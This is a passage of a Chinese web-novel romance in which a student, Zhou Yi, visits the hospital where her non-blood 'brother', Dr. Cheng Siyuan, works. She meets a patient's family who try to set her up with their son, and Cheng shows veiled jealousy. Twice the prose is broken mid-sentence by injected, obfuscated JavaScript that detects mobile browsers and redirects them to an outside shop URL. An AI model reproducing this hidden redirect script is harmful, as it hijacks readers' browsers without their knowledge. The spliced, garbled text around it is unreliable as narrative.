“好漂亮啊周依。”南芳一脸慈母笑道。 王子珺用胳膊拱了拱镜子前的周依,笑道:“怎么样,我们的手艺不错吧。” 周依往下拽了拽裙子,扭捏道:“这种裙子我还是第一次穿,当时脑子一热买的,到手就后悔了。” “后悔什么,这很适合你啊。”付一宁摸着下巴肯定道:“要是配个高跟鞋就更好了。” “真的吗?很适合我?”周依犹豫道:“可我都是平底鞋,没有高跟鞋……” “适合、真的好看。”南芳说着突然一顿道:“诶等等、等等,我跟你脚好像差不多,要不你先用我的搭一下?等下次出去逛街再好好挑挑。” 说着不等周依反应,这热心人士就兀自从自己鞋柜里拿出一双细带高跟鞋放在她脚步。 “来试试。”南芳说。 周依一顿,试探道:“那……那我试试?” “别客气,放心试。” 周依得了应允,俯身将鞋换好。 她原本就已经对今天的妆容很满意了,感觉简直是突破的自我的转变。可没想到搭配上这双高跟鞋,更是将她显得艳若桃李。 只是—— 周依转头看向南芳道:“这是不是有点高啊,摔了怎么办。” “不会不会,这鞋好走的很,你走一步试试。”南芳说。 周依狐疑地看了她一眼,非常小心翼翼地走了几步,突然眼前一亮,又稳稳走了几步,随机惊喜道:“还真是诶,跟我想的不一样,意外的好走。” 一旁的王子珺直竖起大拇指,说:“牛杯!我第一次穿高跟鞋的时候差点儿没把我崴死,你应该多少是有点天赋在身上的。” “不能吧,可能就是这双鞋好穿而已。”周依将鞋换下来递给南芳道:“谢谢啊。” “客气。”南芳轻道一声,将鞋放好。 付一宁看了眼时间,不忍提醒道:“周依你是不是该出门了,宿舍可离大门口还有一段距离呢。” “啊,对哦。”周依突然警醒,连忙穿了鞋拿了包就走,还不忘对身后说:“家人们我走了,回来给你们带吃的。” 说完,转身就跑。 南芳冲她背影喊道:“你专心约会。” 王子珺喜欢凑热闹,也喊道:“你早日得手。” 周依听到这两句话,身体一歪,差点儿一个趔趄平地摔倒,真是吓得够呛。 64.红娘 太阳高悬,离医院下班还有段时间,但某人却好像已经闲着,准备下班了。 童遥拿着病历夹刚进办公室,就见平时忙得乱飞的程司远,现在正在悠闲翻看着手机。她甚至以为自己看错了,快速眨眨眼道:“你吃错药了,还是我该吃药了?你这是——” 她顿了一下,才难以置信道:“准备下班?” 程司远手指轻点,像是发了条消息,随意道:“到点了我不该下班吗?” “今天真不加班啊,我还以为你昨天说着玩儿呢。”童遥说:“那我就安心了。” 她把手里的病例归类放好,忽然又抬头看向程司远,问:“你笑什么?” 程司远轻咳一声,视线依旧停留在手机屏幕上,嘴角带笑道:“没什么,随便笑笑,我下去一趟。” 童遥看着消失在门楼的身影愣住,顿了几秒,然后机械般转头看向一边同样被吓到的许护士,问:“是我听错了,还是他疯了?” 许护士回了神,眼神闪躲着讪笑两声道:“我……那什么、我先去忙了。” 说完,一溜烟儿就跑了出去。只留下童遥一个人,云里雾里…… 周依很快边到了,她刚下出租车就感觉到手机嗡嗡响了两下,屏幕上当弹出新的微信消息。 木头:不用着急,离下班还有一会儿。 木头:还记得地方嘛,要不要我下去接你? 周依脸颊微红,嘴角忍着笑意,在聊天框里回复。 月曜:不用,我记得。 忽然。 “依依?” 周依手指一顿,抬循声望去,就见隔着屏幕的那人就站在了自己面前,声音里还带了几分上扬,像是被她忽变得风格给惊讶到。 “哥。” 周依嘴角上扬,笑意直达眼底。夕阳斜照在她脸上,几缕发丝在空中顽皮地与风共舞,整个人都像被那柔和的余晖所包裹,全身都发着光。 程司远的心脏猛地空了一拍,随即又剧烈地跳动起来。他看得有些移不开眼,愣了好久,直到周依走到面前,才算回了神。 “怎么了?”周依看着他问:“我这样不好看——” 她话没有说完,突然顿住,惊奇问:“你脸怎么了?” “奥,没事。”程司远下意识摸向那创可贴说:“昨天不小心划伤了,不要紧。 周依也没有多想,只觉得有些心疼道:“疼吗?怎么这么不小心。” 程司远被她看得心跳更快了,眼神闪躲地看向一边道:“不疼,我们上去吧。” 他走了几步,忽然又没头没尾,轻声说了句,“很好看”。 虽然他没有转头,声音也很小,但周依还是听清了。 她脚下一顿,轻咬着嘴唇努力压制嘴角的弧度,偷偷抬眼,斜窥着他耳根处那抹淡淡的粉红。她突然觉得她哥好像……比她想象中更可爱一点? 路上有不少医生、护士跟程司远打招呼,周依跟在他后面也点头表示回应。这是她第三次看他穿白大褂的样子,挺直的背脊、宽厚的肩膀、还有那干净利落的步伐,总是能第一时间将她的视线牢牢抓住。 怪不得南芳说…… 周依在心里说了一半,但脸上滚烫已经不允许她再继续说下去了,都不用照镜子,她知道,她的脸肯定是通红一片了。 帅哥谁不喜欢看,她承认还不行嘛。 好在程司远没有真的读心术,不知道周依还有这么多内心戏,不然她这辈子恐怕都只能活在地缝里了。 到了办公室,离下班时间还有二十多分钟,程司远便拿了椅子让周依坐在他工位旁,打算巡房一圈就换衣服下班。可没想到,他刚出办公司门就迎面遇到火急火燎的童遥。 “哎呦,还好你回来了,刚刚主任找你,让你去开会。”她说。 程司远一愣,抬手看了眼手机问:“现在?” ”对啊,不然呢,马上都下班了。”童遥疑惑道:“怎么了,你有——” “事”还没有说完,她突然就顿住,往旁边移了一步,这才后知后觉,恍然大悟道:“奥,依依来了啊。” 周依讪笑两声,她与童遥的之间的误会解开,总觉得自己有点愧对与她,那种误把好人当恶人的感觉也时常萦绕在心头,觉得怪怪的。 “嗯,童姐姐好。”她从椅子上站起来,又对程司远说:“哥你有事就快去忙吧,我在这等你,不要紧。” 程司远看着周依沉默几秒,微微蹙眉对童遥说:“要是开会时间久,依依就麻烦你了。” 童遥冲着周依仰仰头,说:“放心,没问题。” “抱歉啊。”程司远看向周依道:“那我去开会了,马上回来。” 周依连连挥手道:“没关系没关系,你快去吧,别迟到了。” 童遥看着走远的程司远,才眯着眼睛对周依忍笑道:“穿这么漂亮,来接程司远下班呀?” 周依觉得自己耳根微微发烫,偷瞥着眼四周看了看,见刚刚还在的几位护士、医生不知道什么时候已经离开了,便轻抿着嘴唇,点头“嗯”了一声。 “嗯?” 童遥稀奇一声,嘴角含笑调侃道:“今天怎么承认了,这是太阳打西边出来了?” 说着,还假模假样地朝窗外望去。 周依被她说得头顶都冒着热气,这下练脖子也红了起来,害羞道:“童姐姐求你别说了,知道就行了……” 童遥一下没忍住笑了出来,说:“好好好,我不说了,不说了。” “程司远估计还得等一会儿,在办公室呆着可能会无聊。”她拿着桌上的病历夹晃了晃说:“要不要跟我去巡房?” 周依眼睛一亮,立即道:“可以吗?” “当然。”童遥朝门外歪了歪头说:“我们走吧。” 周依刚跟着她身后慢慢走着,忽然想什么,说:“童姐姐,我哥他最近很忙吗?” “嗯,是有点。前几天连着加了不少班,今天才稍微好的。”童遥笑了笑说:“怎么了,他没回你信息?” “不是,我就……就随便问问。”周依轻咳一声道:“对了,童姐姐,你知道我哥他脸上怎么了嘛?” “害,他是昨天被——”童遥突然顿住,又问:“你问他了吗,他怎么跟你说的?” 周依刚刚还感觉得没什么,可现在静下来心来越想越觉得不对,像程司远那么严谨的人,还能不小心到把自己的脸划伤?说出去她都不信。 她抿着唇沉默了一会儿,才道:“问了,说是不小心划伤的。” 童遥眉毛轻挑道:“嗯,也差不多是这样,可能最近他加班加多了,反映都变迟缓了。” 她晃了晃手上的病例架说:“办公室里那个文件柜你看到了吧,就是那个不小心倒了,砸的。” “啊?”周依一脸目瞪口呆道:“这么严重,那他除了脸上还有伤吗?” “那倒没有,就脸上。”童遥看着她嘴角忍笑,看似一本正经道:“依依啊,你没事了跟他多说说别老熬着加班,对身体不好。” “我?我怎么跟他——” “哎,赵医生走了、去查房。” 周依还没有说完,就被童遥的声音盖了过去。 赵医生闻言和两人打了招呼,又转身叫了几名护士,一队人浩浩荡荡地去了病房。 周依在路上表行的很兴奋,刚刚没说完的话不过瞬间就被抛之脑后,在她印象里医生巡房是一件很酷的事情,就像古代皇帝的微服私访,在护士和患者簇拥下笑谈江山。 然而这一去她才发现,脑子里的刻板印完全象都是被电视剧无限粉饰过的,簇拥和笑谈确实不假,只不过这里就要打上引号了。 周依跟在童遥后面,这不前脚刚进病房,后脚就被病人家属们给包围了,各个都争先恐后得朝她们问问题。 “医生,我爸什么时候能好啊,我这天天忙得来回跑也不是个事儿啊。”这是一位中年男人。 还有刚还坐着削苹果的青年女士,看见医生们来了就立马站起来道:“童医生你先来看看我妈,我妈她刚刚头疼的厉害,有不你给她打个止疼针吧,别让她受罪了。” “你们都先等等,医生、医生先看看我奶奶,她刚刚吃了就吐,现在喝水都会被呛,这是怎么回事啊。”说话的那人硬生生从最后面挤到最前面,随便拽了个医生就问。 还有不少躺在病床上的,不是在痛苦呻吟,就是虚弱的满脸惨白,但嘴里都时不时念叨着:“医生,我什么时候能好啊。” 周依被这场面吓得不轻,患者家属们又见她没穿白大褂,也只当她是哪家病人的孩子。这挤来挤去的,不一会儿她就被挤在人墙外了。 周依朝着童遥尴尬地笑了笑,指门外道:“我、我去外面等你。” 病房里的实在复杂,她也不确定自己的声音能不能被听到。但刚犹豫要不要再出声说一遍时,就见童遥凑空回头朝她点了点,随后便又满脸微笑着一一为患者及其家属们解答。 周依退了出去,靠在墙边垂眸看着自己的鞋面,有一下没一下轻碾着,心里不禁感叹,才知道原来医生工作这么辛苦,她还以为就简简单单坐个门诊,按时按点巡视一遍就完事了。这怎么……差这么多? 那程司远也会被这么围着吗,是不是也会笑着说很多话? “诶?是你,这么巧啊,你怎么在这?” 周依的思绪被突然打算,循声望去发现竟然是之前在手术室门外见到的大哥哥。 “确实很巧。”周依指了指被团团包围的童遥,笑道:“我在这等人。” “奥,童医生啊,那估计得等一会儿了。”赵乐仪问:“你找她事有什么吗?是家里人不舒服,还是……” 周依一愣,连连摆手道:“不是不是,童姐姐怕我无聊,所以带我来巡房随便玩玩。” 她又朝病房内看了一眼,尴尬道:“就是……现在人有点多。” “奥,这样啊,我还以为……”赵乐仪笑着挠了挠头道:“那要不去我妈的病房里坐坐?她那儿没住满,就她一个人,挺清静的。还有啊,上次的事我好没好好谢谢你呢,正好一起。” “不用了,都是举手之劳,你不用放在心上。况且我走了怕一会儿童姐姐会着急。” “离得不远,就在前面。”赵乐仪指向不远处的病房说:“上次我跟我妈提到你,她还说想见见你呢。再说了,一会儿童医生也会过去,到时候你再跟她离开,反正在哪儿都是等,走吧就去坐坐。” 周依见他一副盛情难劝的样子,只能尴尬点头道:“那……那好吧。” 赵乐仪见她答应,立即迈腿领路,还不忘搭话道:“你是童医生的妹妹吗,来找她玩的?” 周依摇头道:“不是,我不是她妹妹,我是来找我哥的。” “你哥?”赵乐仪一顿,恍然大悟道:“奥,你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731477|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程医生的妹妹啊,这真是缘分啊。” 他笑了一声道:“奥对了,我好像忘了自己介绍了。你好,我叫赵乐仪。” “你好。”周依微笑点头:“我叫周依,很高兴认识你。” 赵乐仪点头笑着在门口停下,推门道:“到了,就这。” 吴妍听见门口是儿子的声音,挣扎着就想起来。但奈何她身体实在是没有力量支撑她站起,只是微微坐直就已经累得全身都在冒汗了。 赵乐仪进门见况就急忙跑上前,将吴妍扶稳道:“妈你怎么又起来了,快躺下,医生说了你现在得好好养着。” 吴妍喘了几口粗气,问道:“我没事,你不用担心,是不是医生来了?我听见你——” 她话还没有说完,抬眼就见门口还站着一位身穿酒红连衣裙的女生,转口问道:“这位是……” “妈,这就是我上次跟你聊起的那个女生。”赵乐仪又补充提醒道:“送我奶黄包的。” “奥,我想起来了。”吴妍道:“谢谢你啊小姑娘,长得真漂亮。” 周依被她夸的不好意思起来,上前一步道:“阿姨好,您别客气,都是举手之劳。” “哎,好好好。别站着了,快坐,坐下说。”吴妍道。 赵乐仪顺其势搬了凳子,放在床边道:“坐着吧,好说话。” 周依显得有些局促,但又不好意思拒绝,便就点头答应了。 吴妍看周依觉得喜欢,一会儿问她渴不渴要不要喝水,一会儿又问她饿不饿要不要先吃点东西,反正忙得不亦乐乎。 周依却是惨了,她向来不擅长处理这种关系,对方的话越是多、表现的越热情,她就越觉得尴尬。估计再过一会儿,她的脚趾都能把地球给叩穿。 “谢谢阿姨,我真不用了,您别麻烦了。”周依连连婉拒道。 “不麻烦,不麻烦。”吴妍转头将手里的苹果递给招赵乐仪道:“去给——” 她突然顿住,讪笑道:“你看看,这老了脑子都不管用了,说了这么久还不知道你叫什么呢。” 周依也跟着讪笑到:“阿姨您别这么说,是我欠考虑了,我叫周依。” 赵乐仪垂眸笑了一声,接过吴妍手里的苹果,说:“她是程医生的妹妹,今天来找他玩的。” 吴妍一听更是来了兴致,感觉精神都比刚刚好了不少,说:“哎哟,这也太巧了,我们娘俩还真是一遇就遇一家啊。” “是啊,我刚刚也说巧来着。”赵乐仪笑了笑,抬手拿着削皮器,已然开始削苹果了。 ”诶真的不用——” 周依刚低声拒绝,吴妍的声音就压了过来,说:“程医生真的帮了我们很多,前几天为了我的事没少忙活。明明都已经那么忙了,昨天晚上还帮我们筹钱,我们……我们真是、不知道该怎么感谢他了。” 声音说到最后,不免参杂了哽咽。 “是啊,程医生真的是一位很好、很厉害的医生。”赵乐仪将手里的削好的苹果递给周依道:“来,尝尝。” “奥好,谢谢啊。” 周依看着手上的苹果有一瞬的怔愣,他好像每天都很忙,也不知道昨晚几点睡的,他一定很辛苦吧。蓦地又想起昨晚凌晨的对话,不免开始觉得心疼。 吴妍伸手抹了抹眼角,等情绪稍有平缓,她轻叹一声,笑道:“不好意思啊,刚刚太激动了,你表哥真的帮了我们不少。” 周依身体一僵,尴尬道:“那个……阿姨,他不是我表哥,就是、我哥哥。” 吴妍吓了一跳,赵乐仪也觉得意外。 “可你不是姓——” 吴妍没有说完,赵乐仪就先一步反应过来,打断喊了一声:“妈!” 周依见两人反应也明白吴妍想说什么,微笑解释道:“我跟他没血缘关系,就是暂时住在一起而已。” 吴妍觉得惭愧,窘迫道:“那个……不好意思啊,我们没其他意思,你别放在心在上,别在意啊。” 周依摇头道:“没事,这都是小事儿,阿姨照顾好自己的身体才是第一要紧。” 听她这么说,吴妍更事觉得眼前人讨喜得紧,满脸笑容道:“周依啊,你今年多大了,是刚上大学吗?” “嗯,刚上大学,快十九岁了。”周依答道。 “奥这样啊,那应该还没有男朋友吧,要不你看看我儿子怎么样?” 周依刚吃了一口苹果,吴妍这话音一入耳差点儿没把她呛死。霎时间,连咳数声,脸都憋红了。 赵乐仪见状急忙给她倒了杯水,脸上泛着红,无奈对吴妍道:“妈,您就别说了,这都什么跟什么啊。” 他又对周依抱歉道:“对不起,我妈这人嘴长脑子前面,你别生气啊。” 这话,吴妍不乐意了,眉毛一竖道:“我怎么就说话嘴快了?窈窕淑女,君子好逑,我这不都是为了你好?” 赵乐仪的脸烧得更厉害了,说:“是是是,你说的都对。但你下次别都为了我了,我心脏不好,再来几次我就得跟你一起趟这儿了。” “嘿?你这孩子,说的都是什么话啊。”吴妍气得直冒烟,说着就要伸手去打,但看着却是比刚刚有活力了不少。 周依被两人逗笑了,刚刚的尴尬淡去不少。她浅浅抿了一口水,说:“谢谢阿姨,但我已经有喜欢的人了。” 她顿了一下,脸上染了不少红晕,眼底满是笑意道:“而且喜欢了很久。” 65.吃醋 吴妍听了觉得可惜,但也为周依感到高兴,说她这个年龄喜欢上一个人是一件非常美好的事。只是单纯的喜欢、纯粹的爱意,不像自己,背了一辈子都还不完债。 吴妍说的不明不白,但周依却能想个大概。她看着吴妍和赵乐仪,总能想到张舒欣和自己,尽管她说话笨拙,但还是忍不住多关心几句。 可能上了年纪的人都这样,面对最亲近的人,好意和关心总难说出口,明明事先都在心里盘算好的话,刚到嘴边就变了味儿,但在遇到外人时,心里都不用盘算,张口就是真心实意。 吴妍见周依心地善良,想起她说自己有喜欢的人,又忍不住担心她会被骗。这一会儿问她男方长什么样、是不是同龄人,比她大几岁,过一会儿又问,对方人品怎么样、学历好不好,工资是多少。 尽管赵乐仪拦了又拦,但还是挡不住吴妍这喜欢替人操心的命。 周依脸上的红晕自浮出就没见消,苹果也是吃了一口,就再没有机会吃第二口。她不知道吴妍还会问出什么吓人的问题,也不想自己再呛一次,尴尬到满地找头。 手上被削好的苹果开始渐渐氧化了,周依凑着空偷偷瞥着门外,见童遥还没过来,不免有些心急。她刚打算站起来说想去门外看看,但还没起身,就见病房门被推开了。 周依一喜,转头“童姐姐”三个字还没说出口,她就顿住了,惊讶道:“哥,你怎么来了?” 程司远迈步进来,但身上却已然换好了便装,看来是开完会,下班了。 “半路遇上童遥,她跟我说见你来这了。”他说完又朝吴妍和赵乐仪点点头道:“我妹妹多谢你们照顾了。” 吴妍又是挣扎着想要起来,赵乐仪连忙伸手拦着,搀扶着她坐直道:“妈你就坐好吧,别起来了,伤口都还没长好呢,一会儿又该疼了。” “哎,你这是什么话,我没事。”吴妍说着又要起身。 程司远急忙上前道:“阿姨您快躺好,不用起来。” 周依也急得从凳子上站起来,阻拦道:“是啊阿姨,快躺好,一会儿伤口疼了又该难受了。” 吴妍看着眼前急慌慌地三人,忽然觉得自己像极了不久前她曾经吐槽过的老顽固。可能人觉得自己老了,也就这一瞬间的事吧。 她尴尬地笑了笑,坐好靠了回去道:“知道了,知道了,谢谢你们啊。” “多好的孩子。”她看着周依满眼慈爱道:“是我儿子没这个福气呦。” “妈!”赵乐仪差点晕过去,说:“怎么又提这事儿了。” 周依也是吓了一跳,手上的苹果差点都掉了,刚刚好不容易消散的红雾,这下又一层一层盖了过来,连脖子根都泛着粉红,立即道:“那个阿姨、我哥下班了我们就不打扰你了,我们、我们先走了啊,阿姨你好好休息,阿姨再见。” 说着,不管吴妍有没有反应过来,伸手推了程司远就往门外走,甚至她嘴里的最后一个字,几乎都是跟关门声一起落下。 吴妍愣住,直到听见一旁“看看,把人家吓跑了吧”的无情吐槽,这才回了神。 她瞪了赵乐仪一眼道:“还不都是你不争气,好不容易遇到个喜欢的也不敢说。” 程司远没头没尾听了一半,这又被突然推了出来,顿时满心眼的疑惑,问道:“你跟他们认识?刚刚你们都在说什么呀。” 周依轻咳一声,着轻避重道:“就是上次来医院找你在手术室门外遇到的,聊过几句,没想到又碰到了。” 程司远点点头,又问:“所以你们在聊什么?” 周依脸上觉得发热,刚想随便打个含糊蒙混过去,忽然脑子灵光一闪,来了兴趣。她眼睛滴溜溜转动,假装犹豫道:“其实……也没什么,就是阿姨想让我给他儿子当女朋友。” 程司远脚下一顿,他表情有一瞬间的空白,随即又表现得很随意道:“为什么,你们不就只见过一面吗?” 周依看得很认真,生怕错过他脸上一丝表情。 有的时候,她甚至觉得她跟程司远之间就隔了一层薄纱,若隐若现,只要她伸手撩开,她就能看到。 可越是这样,她就越是紧张。她怕那纱得背后只是亲情的轮廓,却又忍不住期待里面的内容与亲情无关。 她胆子很小,但也想试着靠近。 周依的呼吸边的急促,心脏也跟着跳得有些剧烈。她下意识咬了口手里的苹果,嚼了半晌才故作平静道:“正常,可能觉得我长得好看吧。” 程司远沉默了几秒,扬声道:“哦,那你怎么回复的?” 周依突然有一种挖了坑,却不小心把自己埋了的怪异感觉。她懊恼地“啧”了声道:“她不都说那么了嘛……我肯定没答应啊” 声音越来越小,说完又狠狠地咬了一大口苹果,打算把自己的嘴塞满,防止她再把自己卖了。 程司远脸上的表情并没有比刚才好多少,垂眸看着周依手里的苹果,半天没有说话,直到她打算再咬下一口时,才伸手就抢了过来道:“都氧化了,你别吃了。” 周依手里一空,转头就问:“干嘛,氧化了又不是不能——” 她话说了一半突然顿住,随即又震惊改口道:“那你干嘛吃?” 程司远狠狠嚼着嘴里的苹果,像是跟它有仇,但面上还是一副云淡风轻道:“我说你别吃,又没说我不能吃。” 说完又是一大口,看样子差不多再咬三次就能全部吃完。 周依被噎住,看着苹果上自己留下的咬痕被一口、一口掩盖,心底蓦地涌出一股赤潮,直愣愣冲向大脑,顿时害羞的头顶都冒了烟,活像个蒸汽小火车。 她急忙转过头,佯装生气地向前快走。 但还没走几步,周依就忽然意识到什么,她猛地顿住脚步,站在原地向后偷偷瞥着眼,看着程司远慢慢赶上她。 这时,程司远也差不多快把那苹果吃完了。他见前面不远处正好有个垃圾桶,又恶狠狠地咬了两口,越过周依将手里的果核扔到垃圾桶里,说:“走啊,站着干嘛。” 周依强忍着笑,眨巴着眼睛,故意道:“你不是不喜欢吃削了皮的苹果嘛,怎么又吃了?” 程司远正拿着湿巾的手一顿,看着像是满不在乎道:“勤俭节约,扔了怪可惜的。” “奥,这样啊。” 周依故意拖着长音,一脸“原来如此”的模样,慢慢走到程司远身边,看着他微微泛红的耳尖,问道:“哥,你是不是……你吃醋了?” 不知为何,刚刚还无所谓的木头,这会儿像是被呛到,突然咳嗽起来。 程司远将擦过手的湿纸巾扔到垃圾桶里,随即转身向前走了几步,对身后答非所问道:“再不走奶黄包就买不到了。” 尽管周依紧抿着唇,但她的嘴角还是忍不住地上扬。如果她没错看的话,那木头刚刚好像脸红了。 他虽然没有承认,但也没有否认不是? 周依还是没忍住偷偷轻笑出声,朝着前方已经走了好远的程司远喊道:“那不行,我今天就要吃。” 时间被耽搁了不少,西边余晖早已消失不见,月亮拉着星星陪它一起守夜站岗。秋老虎白天闹得欢腾,到了晚上就没了力气,秋风丝丝缕缕带了不少凉意。 程司远和周依穿过医院对面的小区,进到一条不起眼的小巷。 那巷子的两侧都是耸立的高楼,这一气风就把狭管效应体现的淋漓尽致。周依散落在耳后的头发随风飘扬,还有几簇不听话的干脆就粘到了唇上。哪还有刚刚的半点儿美感,甚至可以说是……狼狈了。 周依皱眉,暗暗抱怨这该死的鬼天气,把头发从嘴边撩开,说:“哥,你等我一下。” 程司远虽不知道她要干嘛,但还是“嗯”了一声,停住脚步。 周依背转过身,让风把她散落的发丝尽数吹向脑后,抬手随意给自己扎了个低丸子,然后又转了回来,拨了拨自己额前的刘海,说:“好了,这样就吹不乱了。” 她朝着程司远笑了笑,低头重新整理了自己的裙子。心道,还好是修身的,不然这风指定能把裙子—— 刚想到这,忽然觉得身上一热,周依下意识抬头,就见程司远已经脱了衣服披在她身上。 “秋天了,穿这么少会冷的。”他说。 周依愣住,还没等她反应,程司远就一把搂住她的肩,往自己怀里带了带,说:“这风大,我们先走,到前面有树的地方会好点。” 周依被他按在怀里不敢出声,哪怕是在风速这么快的地方,她依然能闻到他身上那股特有的淡淡薄荷清香。 程司远走得很快,一路都在给周依挡风。直到巷子两边都有了树,感觉风小了不少,他才放慢了脚步,说:“这儿就好很多。” 周依低着头满脸羞红,就连耳根也不争气得发着烫。她轻声“嗯”了一下,也跟着放慢脚步。 一时间,谁都没有再说话,气氛也逐渐凝结,两人莫名陷入一种微妙的沉静之中。 程司远手指一僵,倏然放开了搂着周依的胳膊。但这动作实在显得突兀,他又假装顺手地把她身上的衣服整了整,拿着袖子伸直,说:“你手出来,这样不容易掉。” 周依没有说话,只是乖巧地伸手,任由程司远将衣服穿好。 那衣服穿在她身上看着实在宽大,程司远将袖子往上卷了卷,这才露出那白皙的手腕。 “那家店在哪,还远嘛?”他垂眸问。 “不远。” 周依抬手伸出手指,指向前面不远处,门脸儿还亮着昏黄灯的小店道:“就在那。” 秋风在两人中间留着弯儿,圈圈绕绕,丝丝不断。 程司远忽觉手心多了些许凉意,他抿了抿唇,微微摸索着手指,觉得好像有点可笑。明明是以手稳出名,上惯了手术台的主刀医师,如今却简简单单挽个袖子都能紧张的冒手汗,这传出去怕是要被人笑掉大牙。 “嗯?哥快走,老板好像要关门了。” 周依惊呼一声立马快步上前,跑了几步才发现程司远还站在原地不知道想什么,又忍不住开口催促道:“哥,快来啊。” 程司远回了神,大步跟上,苦笑一声道:“嗯,来了。” 两人进了店门,才发现那老板已经把东西都收拾的差不多,看这样已经要准备关门了。周依觉得可惜,又忍不试探道:“老板还有奶黄包吗?” 老板刚搬着那一碟大蒸笼进了里面的制作间,听见门口有动静,就对外面大声喊道:“奥,还有,但剩的不多了,你要几个啊?” 周依眼睛一亮,立即兴奋道:“老板还剩几个,能都要吗?” 站在一旁没有说话的程司远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不多,大家分一分就吃完了。”老板瞥了眼程司远,又笑着对周依说:“实在吃不完给你男朋友也行啊,小伙子都吃得多。” 说完,还不忘看着那“男朋友”笑了笑。 瞬间,周依眼睛瞪得溜圆,立即道:“老板他不——” “那麻烦老板帮我们装一下吧。”程司远来出手机问:“一共多少钱?” 周依呆住,转头看着程司远一句话都说不出来。 不是,他怎么…… “一共24,算你们便宜点给我20就行。”老板满脸堆笑,把蒸笼端起说:“我去给你们热热。” 周依终于反应过来,她耳根像是着了火,见老板离开,又忍不住偷瞥着程司远,问道:“你干嘛……” 声音很小,隐隐约约还掺杂着些许藏匿不完的害羞,听起来像是在撒娇。 她说完自己也是一愣,又急轻咳一声,补充道:“买这么多真吃不完。” 程司远的反应比平时慢了两秒,他下意识轻瞥过眼不去看周依,回复道:“店里就剩这几个了,这会儿路上也没什么人应该也不太好卖,我们买了他也能早点回家。” 他顿了一下,放缓声音道:“吃不完分给我……也行。” 周依的心跳猛地空了一拍,她抬头看着程司远,觉得那原本是远在天边的人,现在好像伸手就能触及。可又怕那只是漂浮虚空中的光影,一旦碰到,梦便醒了。 她沉默了几秒,伸手从袋子里拿出一个奶黄包递给程司远,微笑道:“哥快尝尝,老板让我们趁热吃。” 程司远垂眸看着周依,半晌才轻笑一声伸手接过,说:“好,知道了。” “嗯,真不错,温度刚刚好呢。”周依将奶黄包拿在手里刚准备咬,忽然顿住,像是想到什么。 她嘴角勾了勾,拿着奶黄包点起脚,伸着胳膊迅速向程司远手里的奶黄包贴了一下,说:“干包!” 说完,还不忘洋洋得意的看着他。 程司远每次都能被她逗笑,这次也不例外。他喉结轻颤,低笑几声道:“嗯,干包。” 制作间里的老板加热好了包子,刚想问两人是要装一起还是分开装,抬头就见周依拿着奶黄包先是咬了一小口,然后把里面的奶黄馅往外面挤了挤,等它快溢出来时,又张大嘴猛地吃掉。 老板有一瞬的怔愣,直到蒸笼里奔腾的雾气熏到他手上,他才吃痛一声,回了神。 周依听到里面有响声,便抬头问道:“老板,怎么了?” 老板暗暗甩了甩自己发痛的手指,提着一袋包子笑着走过来说:“没事,刚刚想问你们要不要分开装来着,这手一快就装一起了。” 程司远接过包子,说:“没关系,老板您帮我们拿个袋子就行,我们自己分。” 老板点头答应,但不知为何一激动竟然从墙上连抓下来好几个袋子。他觉得有点窘迫,便一把都塞给了程司远,说“你们人多,分起来用的也多”。 但对方可能是觉得浪费,坚持拿了一个,然后道了谢,便笑着走了。 他也笑着附和说“下次、常来啊”。 只是那两人都走了,门也关上了,他还早他们离开的方向,低声喃喃道:“真像、怎么会这么象、为什么……会这么像。”